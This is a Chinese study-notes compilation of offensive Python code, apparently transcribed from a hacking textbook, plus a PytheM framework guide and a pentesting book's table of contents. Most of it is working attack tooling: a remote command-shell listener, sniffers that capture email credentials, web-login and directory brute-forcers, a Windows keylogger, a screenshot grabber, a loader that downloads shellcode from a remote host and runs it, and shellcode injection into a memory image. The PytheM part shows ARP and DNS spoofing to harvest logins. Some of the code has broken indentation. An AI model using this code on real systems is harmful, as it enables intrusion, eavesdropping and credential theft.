python环境：python+KaliLinux虚拟机+WingIDE

python网络编程(TCP客户端/UDP客户端-TCP客户端)-netcat(TCP/UDP连接)-TCP代理-Paramiko使用SSH

### 取代netcat ###

#!/usr/bin/python

#-*- coding:utf8 -*-

import sys, socket, getopt, threading, subprocess

# 定义一些全局变量

listen = False

command = False

upload = False

execute = ""

target = ""

upload_destination = ""

port = 0

def run_command(command):

    # 删除字符串末尾的空格

    command = command.rstrip()

    # 运行命令并将输出放回

    try:

        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)

    except:

        output = "Failed to execute command.\r\n"

    # 将输出发送

    return output

def client_handler(client_socket):

    global upload

    global execute

    global command

    # 检查上传文件

    if len(upload_destination):

        # 读取所有的字符并写下目标

        file_buffer = ""

        # 持续读取数据直到没有符合的数据

        while True:

            data = client_socket.recv(1024)

            if not data:

                break

            else:

                file_buffer += data

        try:

            file_descriptor = open(upload_destination, "wb")

            file_descriptor.write(file_buffer)

            file_descriptor.close()

            client_socket.send("Successfully saved file to %s\r\n" % upload_destination)

        except:

            client_socket.send("Failed to save file to %s\r\n" % upload_destination)

    # 检查命令执行

    if len(execute):

        # 运行命令

        output = run_command(execute)

        client_socket.send(output)

    # 如果需要一个命令行shell,那么我们进入另一个循环

    if command:

        while True:

            # 跳出一个窗口

            client_socket.send("<BHP:#>")

            cmd_buffer = ""

            while "\n" not in cmd_buffer:

                cmd_buffer += client_socket.recv(1024)

            # 返回命令输出

            response = run_command(cmd_buffer)

            # 返回响应数据

            client_socket.send(response)

def server_loop():

    global target

    # 如果没有定义目标,那我们监听所有接口

    if not len(target):

        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    server.bind((target, port))

    server.listen(5)

    while True:

        client_socket, addr = server.accept()

        # 分拆一个线程处理新的客户端

        client_thread = threading.Thread(target=client_handler, args=(client_socket,))

        client_thread.start()

def client_sender(buffer):

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:

        # 连接到目标主机

        client.connect((target, port))

        if len(buffer):

            client.send(buffer)

        while True:

            # 现在等待数据回传

            recv_len = 1

            response = ""

            while recv_len:

                data = client.recv(4096)

                recv_len = len(data)

                response += data

                if recv_len < 4096:

                    break

            print  response

            # 等待更多的输入

            buffer = raw_input("")

            buffer += "\n"

            # 发送出去

            client.send(buffer)

    except:

        print "[*] Exception! Exiting."

    #关闭连接

    client.close()

def usage():

    print "BHP Net Tool"

    print

    print "Usage: bhpnet.py -t target_host - p port"

    print "-l --listen              - listen on [host]:[port] for incoming connections"

    print "-e --execute=file_to_run -execute the given file upon receiving a connection"

    print "-c --command             - initialize a commandshell"

    print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"

    print

    print

    print "Examples:"

    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"

    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"

    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""

    print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"

    sys.exit(0)

def main():

    global listen

    global port

    global execute

    global command

    global upload_destination

    global target

    if not  len(sys.argv[1:]):

        usage()

    # 读取命令行选项,若没有该选项则显示用法

    try:

        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])

    except getopt.GetoptError as err:

        print str(err)

        usage()

    for o,a in opts:

        if o in ("-h","--help"):

            usage()

        elif o in ("-l", "--listen"):

            listen = True

        elif o in ("-e", "--execute"):

            execute = a

        elif o in ("-c", "--commandshell"):

            command = True

        elif o in ("-u", "--upload"):

            upload_destination = a

        elif o in ("-t", "--target"):

            target = a

        elif o in ("-p", "--port"):

            port = int(a)

        else:

            assert False,"Unhandled Option"

    #我们是进行监听还是仅从标准输入读取数据并发送数据？

    if not listen and len(target) and port > 0:

        # 从命令行读取内存数据

        # 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D

        buffer = sys.stdin.read()

        # 发送数据

        client_sender(buffer)

    # 我们开始监听并准备上传文件,执行命令

    # 放置一个反弹shell

    # 取决于上面的命令行选项

    if listen:

        server_loop()

#调用main函数

main()

原始套接字和流量嗅探：解码ip/解码ICMP/udp主机存活扫描

### Windows和Linux上的包嗅探 ###

#-*- coding:utf8 -*- 

import socket 

import os 

# 监听主机

host = "10.10.10.145" 

# 创建原始套接字,然后绑定在公开接口上

if  os.name == "nt": 

    socket_protocol = socket.IPPROTO_IP 

else: 

    socket_protocol = socket.IPPROTO_ICMP 

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0)) #端口为0

# 设置在捕获的数据包中包含IP头 

sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 

# 在Windows平台上,我们需要设置IOCTL以启用混杂模式 

if os.name == "nt": 

    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_NO) 

# 读取单个数据包 

print sniffer.recvfrom(65565) 

# 在Windows平台上关闭混杂模式 

if os.name == "nt": 

sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

### 解码IP层 ###

#-*- coding:utf8 -*- 

import socket 

import os 

import struct 

from ctypes import * 

host = "10.10.10.145"  # 监听主机

# ip头定义 

class IP(Structure): 

    _fields_ = [ 

        ("ihl",             c_ubyte, 4),   #ip head length:头长度 

        ("version",         c_ubyte, 4),   #版本 

        ("tos",             c_ubyte),   #服务类型 

        ("len",             c_ushort),    #ip数据包总长度 

        ("id",              c_ushort),    #标识符 

        ("offset",           c_ushort),  #片偏移 

        ("ttl",              c_ubyte),   #生存时间 

        ("protocol_num",    c_ubyte),   #协议类型

        ("sum",            c_ushort),     #头部校验和 

        ("src",             c_ulong),    #源ip地址 

        ("dst",             c_ulong)    #目的ip地址 

    ] 

    def __new__(self, socket_buffer=None): 

        return  self.from_buffer_copy(socket_buffer) 

    def __init__(self, socket_buffer=None): 

        # 协议字段与协议名称的对应 

        self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"} 

        # 可读性更强的ip地址(转换32位打包的IPV4地址为IP地址的标准点号分隔字符串表示

        self.src_address = socket.inet_ntoa(struct.pack("<L", self.src)) 

        self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst)) 

        # 协议类型

        try: 

            self.protocol = self.protocol_map[self.protocol_num] 

        except: 

            self.protocol = str(self.protocol_num) 

if  os.name == "nt": 

    socket_protocol = socket.IPPROTO_IP 

else: 

    socket_protocol = socket.IPPROTO_ICMP 

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0)) #这里端口为0

# 设置在捕获的数据包中包含IP头

sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 

# 在Windows平台上,我们需要设置IOCTL以启用混杂模式 

if os.name == "nt": 

    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 

try: 

    while True: 

        # 读取数据包 

        raw_buffer =  sniffer.recvfrom(65565)[0] 

        # 将缓冲区的前20个字节按IP头进行解析 

        ip_header = IP(raw_buffer[0:20]) 

        # 输出协议和通信双方IP地址 

        print  "Protocol: %s %s ->  %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address) 

# 处理CTRL-C 

except  KeyboardInterrupt: 

    # 如果运行再Windows上,关闭混杂模式 

    if os.name == "nt": 

        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 

Scapy(流量嗅探)：窃取Email认证-ARP缓存投毒-处理PCAP文件(人脸识别)

         sniff(filter="",iface="any",prn=function,count=N)  # iface嗅探的网卡、prn自动回调函数、count嗅探个数

### 获取Email认证 ###

#-*- coding:utf8 -*- 

from scapy.all import * 

# 定义数据包回调函数 

def packet_callback(packet): 

    if packet[TCP].payload: 

        mail_packet = str(packet[TCP].payload) 

        if "user" in mail_packet.lower() or "pass" in mail_packet.lower(): 

            print "[*] Server: %s" % packet[IP].dst 

            print "[*] %s" % packet[TCP].payload 

    # print packet.show() 

# 开启嗅探器

#对常见电子邮件端口进行嗅探：110(POP3)、25(SMTP)、143(IMAP)

         #store=0:不保留原始数据包，长时间嗅探的话不会暂用太多内存 

sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0)

web攻击：urllib2(套接字函数库)>>暴力破解Web应用目录和文件-暴力破解HTML表格认证

### 暴力破解Web应用目录和文件 ###

#-*- coding:utf8 -*-

import urllib,urllib2,threading,Queue

threads = 50

target_url = "http://testphp.vulnweb.com"

wordlist_file = "./all.txt"

resume = None          #用于网络中断时延续上一个尝试的字符串

user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36"

def built_wordlist(wordlist_file):

#读入字典文件

fd = open(wordlist_file, "rb")

raw_words = fd.readlines()

fd.close()

found_resume = False

words = Queue.Queue()

for word in raw_words:

#删除字符串末尾的空格

word  = word.rstrip()

#如果是延续上一次

if resume is not None:

if found_resume:

words.put(word)

else:

if word == resume:

found_resume = True

print "Resuming wordlist from: %s" % resume

else:

words.put(word)

return words

def dir_bruter(word_queue, extentsions=None):   

    while not word_queue.empty():   

        attempt = word_queue.get()  

        attempt_list = []  #用于储存要尝试的url 

        #检查是否有文件扩展名，如果没有就是我们要爆破路径，否则爆破文件   

        if "." not in attempt:   

            attempt_list.append("/%s/" % attempt)   

        else:   

            attempt_list.append("/%s" % attempt)   

        #暴力破解扩展名   

        if extentsions:   

            for extentsion in extentsions:   

                attempt_list.append("/%s%s" % (attempt, extentsion))   

        #迭代我们要尝试的文件列表   

        for brute in attempt_list:   

            #构造url 

            url = "%s%s" % (target_url, urllib.quote(brute))   

            #print url   

            try:   

                headers = {}   

                headers['User-Agent'] = user_agent   

                r = urllib2.Request(url, headers=headers)   

                response = urllib2.urlopen(r)   

                #print response.__dict__ 

                if len(response.read()):   

                    print "[%d] => %s" % (response.code, url)  

            except urllib2.URLError,e:   #用ｅ接收URLError的信息  

                # code属性存在，并且code不是404

                if hasattr(e, 'code') and e.code != 404:

                    print "!!! %d => %s" % (e.code, url)

                pass

word_queue = built_wordlist(wordlist_file)

extentsions = [".php", ".bak", ".orig",".inc"]

#开启多线程扫描 

for i in range(threads):   

    t = threading.Thread(target=dir_bruter, args=(word_queue, extentsions))   

    t.start()

### 暴力破解HTML表格认证 ###

#1.检索登录页面，接收所有返回的cookie 

#2.从HTML中获取所有表单yuans 

#3.在字典中设置需要猜测的用户名和密码 

#4.发送HTTP POST数据包到登陆处理脚本，数据包含所有HTML表单元素值和cookie值 

#5.测试是否登陆成功 

#-*- coding:utf8 -*- 

import urllib, urllib2, cookielib, threading, sys, Queue, HTMLParser 

#设置 

user_thread = 10 

username ="giantbranch" 

wordlist_file ="./mydict.txt" 

resume = None 

#特点目标设置 

target_url = "http://192.168.1.105/Joomla/administrator/index.php" 

target_post = "http://192.168.1.105/Joomla/administrator/index.php" 

username_field = "username" 

password_field = "passwd" 

#登陆成功后，title里面就有下面的文字

success_check = "Administration - Control Panel" 

class BruteParser(HTMLParser): 

    def __init__(self): 

        HTMLParser.__init__(self) 

        self.tag_results = {} 

    def handle_starttag(self, tag, attrs): 

        #判断是否是input标签 

        if tag == "input": 

            tag_name = None 

            tag_value = None 

            for name,value in attrs: 

                #input标签里面不是有name,value,type等属性吗，这里只判断name和value 

                #不过我觉得第二个if是多余的 

                if name == "name": 

                    tag_name = value 

                if name == "value": 

                    tag_value = value 

                if tag_name is not None: 

                    self.tag_results[tag_name] = value 

class Bruter(object): 

    def __init__(self, username, words): 

        self.username = username 

        self.password_q = words 

        self.found = False 

        print "Finished setting up for %s" % username 

    def run_bruteforce(self): 

        for i in range(user_thread): 

            t = threading.Thread(target=self.web_bruter) 

            t.start() 

    def web_bruter(self): 

        while not self.password_q.empty() and not self.found: 

            #从字典获取密码，并去除右边的空格 

            brute = self.password_q.get().rstrip() 

            #使用FileCookieJar类，将cookie值储存到文件，参数为文件名，可用于存取cookie 

            jar = cookielib.FileCookieJar("cookies") 

            #用上面的jar初始化urllib2打开器,这样下面请求url时，就会把cookie值存到那个文件中 

            opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar)) 

            response =opener.open(target_url) 

            page = response.read() 

            print  "Trying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize()) 

            #解析隐藏区域(表单) 

            parser = BruteParser()  

            parser.feed(page) 

            #已经含有隐藏表单的键值 

            post_tags = parser.tag_results 

            #添加我们的用户名和密码区域 

            post_tags[username_field] = self.username 

            post_tags[password_field] = brute 

            #输出post的数据(键值) 

            # for key,value in post_tags.items(): 

            #     print key,':',value 

            #url编码post的数据，开始尝试登陆 

            login_data = urllib.urlencode(post_tags) 

            login_response =opener.open(target_post, login_data) 

            login_result = login_response.read() 

            #　判断是否登陆成功 

            if success_check in login_result: 

                #设置为True，让循环结束 

                self.found = True 

                print "[*] Bruteforce successful." 

                print "[*] Username: %s" % username 

                print "[*] Password: %s" % brute 

                print "[*] Waiting for other threads to exit..." 

def built_wordlist(wordlist_file): 

    #读入字典文件 

    fd = open(wordlist_file, "rb") 

    raw_words = fd.readlines() 

    fd.close() 

    found_resume = False 

    words = Queue.Queue() 

    for word in raw_words: 

        #删除字符串末尾的空格 

        word  = word.rstrip() 

        #如果是延续上一次 

        if resume is not None: 

            if found_resume: 

                words.put(word) 

            else: 

                if word == resume: 

                    found_resume = True 

                    print "Resuming wordlist from: %s" % resume 

        else: 

            words.put(word) 

    return words 

#构造字典 

words = built_wordlist(wordlist_file) 

#初始化Bruter类 

bruter_obj = Bruter(username, words) 

#调用run_bruteforce函数 

bruter_obj.run_bruteforce()

python实现木马：pyHook+pythoncom>>键盘记录(win32clipboard)-截取屏幕快照-shellcode执行

### 键盘记录 ###

#-*- coding:utf8 -*-

import pythoncom, pyHook, win32clipboard, ctypes

user32 = windll.user32

kernel32 = windll.kernel32

psapi = windll.psapi

current_window = None

def get_current_process():

# 获取前台窗口句柄

hwnd = user32.GetForegroundWindow()

# 获得进程ID

pid = c_ulong(0)

user32.GetWindowThreadProcessId(hwnd, byref(pid))

# 保存当前进程ID

process_id = "%d" % pid.value

# 申请内存

executable = create_string_buffer("\x00" * 512)

# 打开进程

h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

# 获取进程所对应的可执行文件的名字

psapi.GetModuleBaseNameA(h_process, None, byref(executable),512)

# 读取窗口标题

window_title = create_string_buffer("\x00" * 512)

length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

# 输出进程相关信息

print

print "[ PID: %s - %s - %s]" % (process_id, executable.value, window_title.value)

print

# 关闭句柄

kernel32.CloseHandle(hwnd)

kernel32.CloseHandle(h_process)

def keyStore(event):

global current_window

# 检查目标是否切换了窗口

if event.WindowName != current_window:

current_window = event.WindowName

get_current_process()

# 检测按键是否为常规按键(非组合键等)

if event.Ascii > 32 and event.Ascii < 127:

print chr(event.Ascii),

else:

# 若输入为[CTRL-V],则获取剪切板内容

if event.Key == "V":

win32clipboard.OpenClipboard()

pasted_value = win32clipboard.GetClipboardData()

win32clipboard.CloseClipboard()

print "[PASTE] - %s" % (pasted_value),

else:

print "[%s]" % event.Key,

# 返回直到下一个钩子事件被触发

return True

# 创建和注册钩子函数管理器

k1 =pyHook.HookManager()

k1.KeyDown = keyStore

# 注册键盘记录的钩子，然后永久执行

k1.HookKeyboard()

pythoncom.PumpMessages()

### 截取屏幕快照 ###

#-*- coding:utf8 -*-

import win32gui, win32ui, win32con, win32api

# 获取窗口桌面的句柄

hdesktop = win32gui.GetDesktopWindow()

# 获得显示屏的像素尺寸

width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)

height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)

left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)

top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# 创建设备描述表

desktop_dc = win32gui.GetWindowDC(hdesktop)

img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# 创建基于内存的设备描述表，用于储存我们捕获到的图片的数据，直到我们保存到文件

mem_dc = img_dc.CreateCompatibleDC()

# 创建位图对象

screenshot = win32ui.CreateBitmap()

screenshot.CreateCompatibleBitmap(img_dc, width, height)

mem_dc.SelectObject(screenshot)

# 复制屏幕到我们的内存设备描述表中

mem_dc.BitBlt((0,0), (width,height), img_dc, (left, top), win32con.SRCCOPY)

# 将位图保存到文件中

screenshot.SaveBitmapFile(mem_dc, "C:\\test.bmp")

# 释放对象

mem_dc.DeleteDC()

win32gui.DeleteObject(screenshot.GetHandle())

### Python方式的shellcode执行 ###

#-*- coding:utf8 -*-

import urllib2, ctypes, base64

# 从搭建的服务器下下载shellcode

url = "http://10.10.10.128:8000/shellcode.bin"

response = urllib2.urlopen(url)

# 解码shellcode

shellcode = base64.b64decode(response.read())

# 申请内存空间

shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))

# 创建shellcode的函数指针

shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))

# 执行shellcode

shellcode_func()

### 直接代码注入 ###

#-*- coding:utf8 -*-   

from immlib import * 

class cc_hook(LogBpHook): 

def __init__(self):

LogBpHook.__init__(self)

self.imm = Debugger()

def run(self, regs):

self.imm.log("%08x" % regs['EIP'], regs['EIP'])

self.imm.deleteBreakpoint(regs['EIP'])

return

def main(args): 

imm = Debugger()

calc = imm.getModule("calc.exe")

imm.analyseCode(calc.getCodebase())

functions = imm.getAllFunctions(calc.getCodebase())

hooker = cc_hook()

for function in functions:

hooker.add("%08x" % function, function)

return "Tracking %d functions." % len(functions)

#-*- coding:utf8 -*-   

import sys, struct

equals_button = 0x01005D51

# 要分析的内存文件位置

memory_file = "D:\\Windows XP Professional-f6b49762.vmem"

slack_space = None

trampoline_offset = None

# 读入shellcode

sc_fd = open("cmeasure.bin", "rb")

sc = sc_fd.read()

sc_fd.close()

sys.path.append("D:\\volatility-2.3")

import volatility.conf as conf

import volatility.registry as registry

registry.PluginImporter()

config = conf.ConfObject()

import volatility.commands as commands

import volatility.addrspace as addrspace

registry.register_global_options(config, commands.Command)

registry.register_global_options(config, addrspace.BaseAddressSpace)

config.parse_options()

config.PROFILE = "WinXPSP3x86"

config.LOCATION = "file://%s" % memory_file

import volatility.plugins.taskmods as taskmods

p = taskmods.PSList(config)

for process in p.calculate():

if str(process.ImageFileName) == "calc.exe":

print "[*] Found calc.exe with PID %d" % process.UniqueProcessId

print "[*] Hunting for physical offsets...please wait."

address_space = process.get_process_address_space()

pages = address_space.get_available_pages()

# page[0]：页面地址

# page[1]：页面大小

for page in pages:

physical = address_space.vtop(page[0])

if physical is not None:

fd = open(memory_file, "r+")

fd.seek(physical)

buf = fd.read(page[1])

try:

offset = buf.index("\x00" * len(sc))

slack_space = page[0] + offset

print "[*] Found good shellcode location!"

print "[*] Virtual address: 0x%08x" % slack_space

print "[*] Physical address: 0x%08x" % (physical + offset)

print "[*] Injecting shellcode."

fd.seek(physical + offset)

fd.write(sc)

fd.flush()

# 创建我们的跳转代码

# 对应的汇编指令为：

# mov ebx, ADDRESS_OF_SHELLCODE( shellcode地址)

# jmp ebx

tramp = "\xbb%s" % struct.pack("<L", page[0] + offset)

tramp += "\xff\xe3"

if trampoline_offset is not None:

break

except:

pass

fd.close()

# 查看目标代码的位置

if page[0] <= equals_button and equals_button < (page[0] + page[1] -7):

print "[*] Found our trampoline target at: 0x%08x" % (physical)

# 计算虚拟偏移

v_offset = equals_button - page[0]

# 计算物理偏移

trampoline_offset = physical+ v_offset

print "[*] Found our trampoline target at: 0x%08x" % (trampoline_offset)

if slack_space is not None:

break

print "[*] Writing trampoline..."

fd = open(memory_file, "r+")

fd.seek(trampoline_offset)

fd.write(tramp)

fd.close()

print "[*] Done injecting code."

PytheM是一个Python渗透测试框架。它只能在osnGNU/Linux OS系统上运行。
安装$sudo apt-get update
$sudo apt-get install libasound-dev libjack-jackd2-dev portaudio19-dev python-pyaudio build-essential python-dev libnetfilter-queue-dev libespeak1 libffi-dev libssl-dev
$sudo git clone https://github.com/m4n3dw0lf/PytheM/
$cd PytheM
$sudo pip install -r requirements.txt
运行$sudo ./pythem
例子
ARP欺骗-HTTP中间人攻击
命令：pythem> set interface
[+] Enter the interface: wlan0
pythem> set gateway
[+] Enter the gateway: 192.168.1.1
pythem> arpspoof start
[+] Setting the packet forwarding.
[+] Iptables redefined.
[+] ARP spoofing initialized.
pythem> sniff
[+] Enter the filter: http
ARP+DNS欺骗-重定向到伪造的页面，收集登录凭证
使用SET等克隆工具克隆你选中的网站，并部署在Apache2上
命令：pythem> set target
[+] Enter the target(s): 192.168.0.8
pythem> set interface wlan0
pythem> set gateway 192.168.0.1
pythem> arpspoof start
[+] Setting the packet forwarding.
[+] Iptables redefined.
[+] ARP spoofing initialized.
pythem> dnsspoof start
[+] Domain to be spoofed: www.google.com
[+] IP address to be redirected: 192.168.0.6
[+] DNS spoofing initialized.
pythem> sniff dns
SSH暴破-暴力破解pythem> service ssh start
pythem> set target
[+] Enter the target(s): 127.0.0.1
pythem> set file wordlist.txt
pythem> brute-force ssh
[+] Enter the username to bruteforce: anon123
Web页面参数暴力破解
首先获取web页面登录时的参数格式id= value
显示重定向页面，如果定向到一个不同的页面则说明猜解正确。
命令pythem> set target http://127.0.0.1/
pythem> set file
[+] Enter the path to the file: wordlist.txt
pythem> brute-force webform
[+] Brute-Form authentication initialized.
[+] Enter the input id of the username box: vSIS_ID
[+] Enter the input id of the password box: vSIS_PASS
[+] Enter the username to brute-force the formulary: root
URL内容爆破pythem> set target
[+] Enter the target(s): http://testphp.vulnweb.com/index.php?id=
pythem> set file 1to100.txt
pythem> brute-force url
[+] Content URL bruter initialized.
功能
[ PytheM – Penetration Testing Framework v0.3.2 ]
help:打印帮助信息。
exit/quit:退出程序。
set:设置变量的值，参数：interface
gateway
target
file
arpmode例子:pythem> set interface | open input to set
或者pythem> set interface wlan0 | don't open input to set value
print:
打印变量的值，例子：pythem> print gateway
scan:
进行tcp/manualport/arp扫描.
(应该在设置完网卡和目标后再调用)例子:pythem> scan
或者pythem> scan tcp
arpspoof:
开始或结束arpspoofing攻击. (使用rep或req可以设置arp欺骗的模式，rep表示欺骗响应，req表示欺骗请求)
参数start
stop
例子:arpspoof startarpspoof stop
dnsspoof:
开始dnsspoofing攻击. (应该在arp欺骗攻击开始后再调用)例子:pythem> dnsspoof startpythem> dnsspoof stop
sniff:
开始嗅探数据包(应该在设置网卡后再调用)例子:pythem> sniff http
或者pythem> sniff
[+] Enter the filter: port 1337 and host 10.0.1.5 | tcpdump like format or http,dns specific filter.
pforensic:
开始分析数据包(应该在设置完网卡和.pcap文件后调用)例子:pythem> pforensicpforensic> help
brute-force:
开始暴力破解攻击(应该在设置完目标和字典文件路径后调用)参数:ssh | 目标是IP地址ip address as target
url | 目标是url (包含http://或https://)
webform | 目标是url (包含http://或https://)
例子:pythem> brute-force webformpythem> brute-force ssh
geoip:
显示IP地址的大概位置(应该在设置目标(IP地址)后再调用)例子:pythem> geoip
或者pythem> geoip 8.8.8.8
decode and encode:
以选择的模式解码和编码字符串，例子:pythem> decode base64pythem> encode ascii
cookiedecode:
解码base64 url编码的cookie的值，例子:pythem> cookiedecode
其它在控制台可以执行的命令，比如cd, ls, nano, cat 等。
Jarvis – 声音控制助手[*] jarvis   type jarvis-help to see the jarvis help page.
examples:
pythem> jarvis     (以语音识别模式调用Jarvis)
pythem> jarvis-help    (打印Jarvis帮助信息)
pythem> jarvis-log     (检查日志)
pythem> jarvis-log err (检查错误日志)
pythem> jarvis-say     (命令Jarvis说某些东西)
pythem> jarvis-say hello my name is jarvis.
pythem> jarvis-read    (如果没有指定文件，应该在设置文件后再调用)
pythem> jarvis-read file.txt

Python渗透测试编程技术

Python渗透测试编程技术 方法与实践
出版时间： 2018
内容简介
本书由资深网络安全教师撰写，书中系统并深入地将Python应用实例与网络安全相结合进行讲解，不仅讲述了Python的实际应用方法，而且从网络安全原理的角度分析了Python实现网络安全编程的技术，真正做到理论与实践相结合。 全书共分为15章。章介绍网络安全渗透测试的相关理论。第2章介绍Kali Linux 2使用基础。第3章介绍Python语言基础。第4章介绍安全渗透测试中的常见模块。第5章介绍使用Python实现信息收集。第6章和第7章介绍使用Python对漏洞进行渗透。第8章介绍使用Python实现网络的嗅探与监听。第9章介绍使用Python实现拒绝服务攻击。0章介绍使用Python实现身份认证攻击。1章介绍使用Python编写远程控制工具。2章和3章介绍使用Python完成无线网络渗透。4章介绍使用Python对Web应用进行渗透测试。5章介绍使用Python生成渗透测试报告。 本书适合网络安全渗透测试人员、运维工程师、网络管理人员、网络安全设备设计人员、网络安全软件开发人员、安全课程培训学员、高校网络安全专业方向的学生阅读。
目录
第1章 网络安全渗透测试
1．1 网络安全渗透测试简介
1．2 开展网络安全渗透测试
1．2．1 前期与客户的交流阶段
1．2．2 情报的收集阶段
1．2．3 威胁建模阶段
1．2．4 漏洞分析阶段
1．2．5 漏洞利用阶段
1．2．6 后渗透攻击阶段
1．2．7 报告阶段
1．3 网络安全渗透测试需要掌握的技能
小结
第2章 Kali Linux 2使用基础
2．1 Kali Linux 2介绍
2．2 Kali Linux 2安装
2．2．1 将Kali Linux 2安装在硬盘中
2．2．2 在VMware虚拟机中安装Kali Linux 2
2．2．3 在加密U盘中安装Kali IAnux 2
2．3 Kali Linux 2的常用操作
2．3．1 修改默认用户
2．3．2 对Kali Linux 2的网络进行配置
2．3．3 在Kali Linux 2中安装第三方程序
2．3．4 对Kali Linux 2网络进行SSH远程控制
2．3．5 Kali Linux2的更新操作
2．4 VMware的高级操作
2．4．1 在VMware中安装其他操作系统
2．4．2 VMware中的网络连接
2．4．3 VMware中的快照与克隆功能
小结
第3章 Python语言基础
3．1 Python语言基础
……
第4章 安全渗透测试的常见模块
第5章 情报收集
第6章 漏洞渗透模块的编写
第7章 对漏洞进行渗透(高级部分)
第8章 网络嗅探与欺骗
第9章 拒绝服务攻击
第10章 身份认证攻击
第11章 远程控制工具
第12章 无线网络渗透(基础部分)
第13章 无线网络渗透(高级部分)
第14章 对Web应用进行渗透测试
第15章 生成渗透测试报告